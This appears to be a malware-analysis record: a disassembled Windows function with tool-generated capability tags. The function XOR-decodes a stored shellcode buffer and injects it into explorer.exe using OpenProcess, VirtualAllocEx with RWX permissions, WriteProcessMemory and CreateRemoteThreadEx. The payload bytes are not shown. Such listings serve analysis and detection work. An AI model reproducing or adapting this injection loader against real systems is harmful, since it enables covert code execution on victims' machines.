Function at 0x1400018b5
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
call sym.__main
lea rax, str.explorer.exe
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call dbg.GetProcessIdByName(char const*)
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
je 0x14000193d
lea rax, str.The_Process_ID_of
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, str._is:
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 0x14]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x14000b930]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x140001977
lea rax, str.Process
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, str._not_found._n
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
movabs rax, 0x6840484061404140
movabs rdx, 0x654045406d404d40
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x6140414064404440
movabs rdx, 0x6d404d4068404840
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x406d404d40684048
movabs rdx, 0x64404440654045
mov qword [rbp - 0x27], rax
mov qword [rbp - 0x1f], rdx
mov dword [rbp - 4], 0
jmp 0x140001a32
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x14000a040]
movzx eax, byte [rax + rdx]
mov r8d, eax
mov ecx, dword [rbp - 4]
movsxd rax, ecx
imul rax, rax, 0x2e8ba2e9
shr rax, 0x20
mov edx, eax
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
movsxd rax, edx
movzx eax, byte [rbp + rax - 0x40]
xor eax, r8d
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x14000a040]
mov byte [rax + rdx], cl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
cmp rax, 0x1fe
jbe 0x1400019d4
mov rax, qword [0x14000a028]
mov edx, dword [rbp - 0x14]
mov r8d, edx
mov rdx, rax
lea rax, str._s_trying_to_open_a_handle_to_process___ld__n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [rbp - 0x14]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x1400100b0], rax
mov rdx, qword [0x1400100b0]
mov rax, qword [0x14000a020]
mov r8, rdx
mov rdx, rax
lea rax, str._s_got_the_handle___n___0x_p_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [rbp - 0x14]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x1400100b0], rax
mov rax, qword [0x1400100b0]
test rax, rax
jne 0x140001b04
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x14000a030]
mov ecx, dword [rbp - 0x14]
mov r9d, edx
mov r8d, ecx
mov rdx, rax
lea rax, str._s_failed_to_get_the_process___ld___error:__ld
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 1
jmp 0x140001cd6
mov rax, qword [0x1400100b0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x200
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x1400100a8], rax
mov rax, qword [0x14000a020]
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_allocated__zu_bytes_with_PAGE_EXECUTE_READWRIRE_permissions_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rdx, qword [0x1400100a8]
mov rax, qword [0x1400100b0]
mov qword [rsp + 0x20], 0
mov r9d, 0x200
lea r8, [0x14000a040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [0x14000a020]
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_wrote__zu_bytes_to_process_memory_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x1400100a8]
mov rcx, rax
mov rax, qword [0x1400100b0]
lea rdx, [0x1400100a4]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x1400100b8], rax
mov rax, qword [0x1400100b8]
test rax, rax
jne 0x140001c4d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x14000a030]
mov r8d, edx
mov rdx, rax
lea rax, str._s_failed_to_get_a_handle_to_the_thread__error:__ld
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x1400100b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001cd6
mov rcx, qword [0x1400100b8]
mov edx, dword [0x1400100a4]
mov rax, qword [0x14000a020]
mov r9, rcx
mov r8d, edx
mov rdx, rax
lea rax, str._s_got_a_handle_to_the_thread___ld__n___0xp_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x14000a028]
mov rdx, rax
lea rax, str._s_cleaning_up_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x1400100b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x1400100b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14000a020]
mov rdx, rax
lea rax, str._s_bye_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret